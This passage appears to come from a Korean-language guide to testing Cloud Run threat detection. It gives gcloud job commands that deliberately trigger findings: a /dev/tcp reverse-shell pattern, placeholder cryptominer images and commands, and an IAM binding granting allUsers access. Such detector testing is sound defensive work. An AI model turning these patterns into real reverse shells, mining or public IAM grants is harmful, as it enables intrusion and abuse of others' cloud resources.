   JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 역방향 셸 발견 항목을 만듭니다.

실행: 암호화폐 채굴 Docker 이미지

실행: 암호화폐 채굴 Docker 이미지 결과를 트리거하려면 암호화폐 채굴 소프트웨어와 연결된 Docker 이미지 이름을 사용하여 컨테이너를 배포하세요.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
       --command sh \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차는 실행: 암호화폐 채굴 Docker 이미지 발견 사항을 만듭니다. 이미지가 없으므로 작업 배포가 실패하지만 발견 결과는 계속 생성됩니다.

영향: 암호화폐 채굴 명령어

Impact: Cryptomining Commands 발견 사항을 트리거하려면 알려진 암호화폐 채굴 소프트웨어와 비슷한 인수를 사용하여 명령어를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command xmrig \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Impact: Cryptomining Commands 발견 항목을 만듭니다.

권한 에스컬레이션: 기본 Compute Engine 서비스 계정 SetIAMPolicy

Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy 결과를 트리거하려면 기본 Compute Engine 서비스 계정을 사용하여 Cloud Run 서비스의 IAM 정책을 설정하는 명령어를 실행하세요.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
       --command gcloud \
       --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy 발견 항목을 만듭니다.

다음 단계